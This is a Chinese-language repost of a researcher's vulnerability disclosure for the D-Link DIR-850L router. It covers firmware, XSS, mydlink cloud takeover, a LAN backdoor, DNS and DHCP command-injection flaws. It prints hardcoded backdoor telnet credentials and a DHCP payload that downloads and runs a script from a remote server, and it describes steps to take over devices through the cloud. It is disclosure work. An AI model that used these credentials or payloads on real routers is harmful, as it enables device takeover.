天天看點

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

本文講的是<b>在一款D-Link消費級路由器上,我發現了10個嚴重漏洞</b>,近期,資訊安全研究員皮埃爾·金(Pierre·Kim)公開了D-Link DIR 850L消費級無線路由器存在的10個嚴重漏洞。

此次公開的D-Link漏洞涉及多方面問題,如缺乏對固件映像的适當保護機制,意味着黑客可以向目标裝置注入包含後門的惡意拷貝,以及D-Link私有的mydlink雲協定中的漏洞。皮埃爾·金還發現了遠端代碼執行漏洞、預設密鑰,以及DDoS(分布式拒絕服務攻擊)風險。其他風險還包括跨站腳本攻擊(XSS)、明文存儲密碼,以及LAN後門等。

皮埃爾·金總結:“D-Link 850L是一款設計糟糕的路由器,存在大量漏洞。從LAN到WAN,所有一切都存在問題。”

一、固件映像缺乏保護

Dlink 850 LrevA的最新固件(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)不受保護,黑客可以僞造最新固件的映像。

Dlink850LrevB的最新固件映像(DIR850LB1_FW207WWb05.bin、DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1FW208WWb02.bin)是帶有寫死密碼。

以下是一個解密的固件映像的程式:

你可以使用這個程式來解密固件映像:

是以說,固件映像的保護是不存在的。

二、跨站腳本攻擊(XSS)

隻需通過分析/htdocs/web上的PHP檔案,就可以發現一些易受攻擊的XSS。

黑客可以使用XSS攻擊,經過使用者的身份驗證,以便竊取身份驗證cookie。

/htdocs/web/wpsacts.php:

/htdocs/web/shareport.php裡的XSS:

/htdocs/web/sitesurvey.php裡的XSS:

/htdocs/web/wandetect.php裡的XSS:

/htdocs/web/wpsacts.php裡的XSS:

三、mydlink雲協定中的漏洞

黑客可以使用自定義的mydlink雲協定獲得完整的通路權限。

http://ip_of_router/register_send.php不檢查使用者的身份驗證,是以黑客可以濫用此網頁來獲得對裝置的控制,此網頁用于将裝置注冊到myDlink雲基礎設施。

黑客将使用未經驗證的/register_send.php網頁來進行:

1.建立MyDlink雲帳戶;

2.在裝置上注冊這個賬号;

3.将裝置添加到這個帳戶,這樣裝置将通過管理密碼進入到雲平台,同時這意味着密碼以明文存儲。

首先,黑客将使用Firefox50通路Dlink登入頁https://www.mydlink.net.cn/entrance,黑客會利用該網頁遠端控制裝置(比如通過重新啟動)。不過要注意的是,Firefox50要安裝官方的DlinkNPAPI擴充。

其次,使用Firefox開發工具,黑客可以分析來自www.mydlink.com上的Dlinkapi的預設HTTP請求或響應。因為在預設情況下,Dlink雲接口将在PUT請求的響應中洩漏裝置的密碼。僅僅通過看NPAPI插件的HTTP請求,api就可以在明文中找到裝置的密碼。

最後,NPAPI插件會自動建立一個路由器和Firefox浏覽器之間的通道,這樣,黑客就可以通路http://127.0.0.1:dynamicaly_generated_remote_port/控制遠端路由器。流量将直接進入亞馬遜伺服器,然後到達遠端Dlink路由器::

黑客将使用來自Dlink api的legitHTTPS響應提供的前一個密碼,并能夠在路由器内登入。此時,黑客就完成了對路由器的完全控制。

這是通過在Amazon伺服器上建立一個TCP通道的signalc程式(/mydlink/内部)實作的。

駐留在http://ip_of_router/register_send.php的PHP腳本,将充當黑客和遠端Dlinkapi之間的代理,此頁面還将檢索密碼(它存儲在cleartext中)并将其發送到遠端Dlink api。

密碼将在裝置的關聯中發送(第三個請求:adddev)到Mydlink雲服務(見&amp;device_password=$devpasswd):

為了利用這個vuln,讓皮埃爾到dlink路由器建立3個HTTP請求:

第一個是signup請求,将在MyDlink服務上建立一個使用者:

在内部,這個請求被制作并發送到MyDlink雲api:

第一個是signin請求,路由器将與“signin”新建立的使用者關聯,但未激活:

最後一個請求會将該裝置與dlink服務關聯,并将該裝置的密碼發送到dlink的遠端api:

現在請使用來自Dlink的郵件确認郵件:

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

然後,通路http://mydlink.com/并使用電子郵件和密碼登入。

此時,你将看到在web界面中列出的裝置。

以下是附件截圖,檢視可用的管理選項:

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞
在一款D-Link消費級路由器上,我發現了10個嚴重漏洞
在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

通過分析這些請求,皮埃爾可以獲得更多關于目标路由器的資訊(請注意,在浏覽www.mydlink.com網站時,請求是預設的):

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

它出現了PUT(PUTidentifier-of_the_router)請求,以提供與裝置的cleartext密碼的響應。

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

請注意,在映像的末尾有一個GET請求。

POST資料如下

在cleartext(包含裝置的密碼),響應是:

這樣,一個GET請求就完成了(上一個映像中的最後一個),它允許檢索目前密碼和之前的密碼:

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

GET請求如下:

響應還是一樣的,使用前一個明文密碼和新密碼(adminPassword):

最後,來自NPAPI插件的請求,處于浏覽器和遠端路由器之間的通道:

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

對/tssm/tssml.php的請求會使遠端雲平台将流量轉發到裝置編号3xxxxxxxxx,通過雲平台,這将為黑客提供從浏覽器NPAPI擴充到DLINK850L路由器的建立立的TCP通道的資訊:

看起來插件會監測127.0.0.1:50453/tcp(HTTP)和127.0.0.1:50454/tcp(HTTP/SSL),如下所示:

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

現在,讓皮埃爾浏覽http://127.0.0.1:50453,通過雲協定将流量發送到遠端路由器。

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

通過使用之前發現的洩漏密碼(在PUT和GET請求中),黑客可以遠端對路由器進行pwn,并更新固件:

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

這些漏洞可能會影響一些使用Dlink的NAS、路由器以及攝像頭。

有趣的是,DLink将使用mydlink服務存儲在cleartext中的所有裝置密碼。

四、路由器WAN雲協定中的漏洞

MyDlink雲協定很弱,預設情況下,該技術不提供加密,它隻是一個基本的TCP中繼系統。所有的流量都是通過TCP發送到遠端亞馬遜伺服器的,沒有經過加密:

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

TCP繼電器是以dlink路由器的HTTPS伺服器作為端點的,是以,這個路由器可以通過HTTP和HTTPS通路TCP通道。預設情況下,你可以從浏覽器(通過通道)檢視到路由器的HTTP請求和HTTPS請求。關于HTTPS請求,路由器提供的SSL證書是自簽名的。這樣,黑客就可以通過僞造和使用一個無效的證書,以便成功的對裝置進行中間人攻擊和攔截資訊。更重要的是,預設情況下,HTTP的TCP繼電器是由NPAPI插件制作的。

在路由器内部運作的/mydlink/signalc程式使用該裝置的MAC位址來獲得一個唯一的辨別符,即使dlink裝置被重置或連結到新的dlink雲帳戶,該辨別符也不變。使用者可以使用rgbin二進制檔案更改裝置的MAC位址,/usr/sbin/devdata是一個到達/usr/sbin/rgbin的符号連結,并且使用的argv[0]必須是要進行以下運作的devdata這個程式:

這個程式隻會重寫/dev/mtdblock/4的資訊。

mydlink接口允許使用者輸入gmail/hotmail帳戶的憑據,然後憑據通過與雲協定建立的通道轉移到路由器。這似乎并不是一個好主意,因為路由器和雲平台之間的流量沒有加密,使用自簽名證書,而沒有經過驗證,密碼會通過網際網路發送到這條通道。

這些漏洞可能會影響一些使用Dlink的NAS、路由器、攝像頭以及支援MyDlink雲協定的每個裝置。

以下是一些wireshark(cleartext流量和自簽名證書):

在一款D-Link消費級路由器上,我發現了10個嚴重漏洞
在一款D-Link消費級路由器上,我發現了10個嚴重漏洞

五、LAN後門

在revB上,如果你重置了裝置,/etc/init0.d/S80mfcd.sh腳本将以下面這些參數啟動mfcd二進制檔案:

mfcd實際上是一個telnetd伺服器,-u标志用關聯的密碼($image_sign變量)定義授權使用者。

br0是eth0、peth0、wlan0以及wlan1網口的橋梁,這個後門隻能從區域網路中使用。

通過使用loginAlphanetworks和wrgac25_dlink.2013gui_dir850l密碼,黑客可以在裝置上得到一個具有Root權限的Shell:

六、私鑰漏洞

密鑰是在固件内寫死過的,可以使用HTTPS管理,這就允許黑客進行SSL中間人攻擊:

七、DNS配置漏洞

黑客可以利用htdocs/parentalcontrols/bind.php檔案更改DNS配置,重新配置時,它不會對管理使用者的身份進行驗證。

在即沒有HTTP請求的限制,也沒有身份驗證的情況下,黑客可以對nonce(?nonce=integer)進行暴力破解(BruteForce):

然後,黑客可以定義新的DNS伺服器:

黑客可以使用這個vuln将流量轉發給其控制的伺服器,進而進行對Dlink雲伺服器進行自定義,控制Dlink路由器。

八、明文存儲密碼漏洞

從下面5個檔案中,皮埃爾發現了較弱的權限:

1./var/passwd

/var/passwd在明文中包含憑證,/var/passwd的權限為-rw-rw-rw-(666):

2./var/etc/hnapasswd

注意,黑客可以使用/var/etc/hnapasswd在cleartext中檢索密碼:

/var/etc/hnapasswd的權限是-rw-rw-rw-(666)

3./etc/shadow

/etc/shadow是一個到/var/etc/passwd的符号連結,/var/etc/passwd檔案是可讀的,如下所示:

該檔案包含管理使用者的DES哈希值:

4./var/run/storage_account_root

/var/run/storage_account_root包含在cleartext的憑證中,/var/passwd的權限為-rw-rw-rw-(666)

5./var/run/hostapd*

/var/run/hostapd*檔案包含了cleartext中的無線密碼,這些檔案的權限為-rw-rw-rw-(666)

九、RCE漏洞

在路由器上運作的DHCP用戶端容易受到幾個指令注入的影響。

請使用dhcpd.conf檔案提供以下配置:

當在啟動時做DHCP請求時,路由器連接配接到遠端HTTP伺服器的WAN:

現在皮埃爾得到了一個來自WAN的telnetd:

這個telnetd通路可以從WAN和LAN通路。

漏洞分析

涉及幾個WAN RCE漏洞。第一個漏洞是:

/etc/services/INET/inet_ipv4.php

你可以在任何地方都實施指令注入:

正如你所看到的,變量沒有被清理過。一種解決方案是使用具有$domain(isc-dhcp中的option domain-name)的注入指令—— /var/servd/$VAR-udhcpc.sh。使用的sh腳本。

将生成WAN-1-udhcpc.sh檔案,并由udhcpc(udhcpc -i eth1 -H dlinkrouter -p /var/servd/WAN-1-udhcpc.pid -s /var/servd/WAN-1-udhcpc.sh)調用。

是以,使用這個DNS配置将對路由器起作用:

在日志中,皮埃爾确認執行:

注意,你還在一些生成的檔案(在/var/servd/)中使用;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;有效載荷:

此攻擊将通過在路由器内運作的dhcp伺服器傳遞給内部用戶端,是以,如果你将一個脆弱的Dlink路由器連接配接到内部網絡,它也會被pwned:

/runtime/inf:{1,2}/dhcps4/pool/domain入口點位于/var/servd/LAN-{1,2}-udhcpd.conf檔案,而該檔案包含流氓域值(rogue domain value):

十、DDoS漏洞

該漏洞出現在路由器(revA和revB)中運作的一些守護程序可以從LAN遠端崩潰,由于它不向黑客提供進一步的遠端特權,是以目前還沒有詳細的分析。

最後

對這10個嚴重漏洞,D-Link尚未做出回應,并且目前尚不清楚D-Link是否會承認這些漏洞的存在,以及是否打算修複這些漏洞。

原文釋出時間為:2017年9月15日

本文作者:xiaohui

本文來自雲栖社群合作夥伴嘶吼,了解相關資訊可以關注嘶吼網站。

<a href="http://www.4hou.com/technology/7638.html" target="_blank">原文連結</a>

繼續閱讀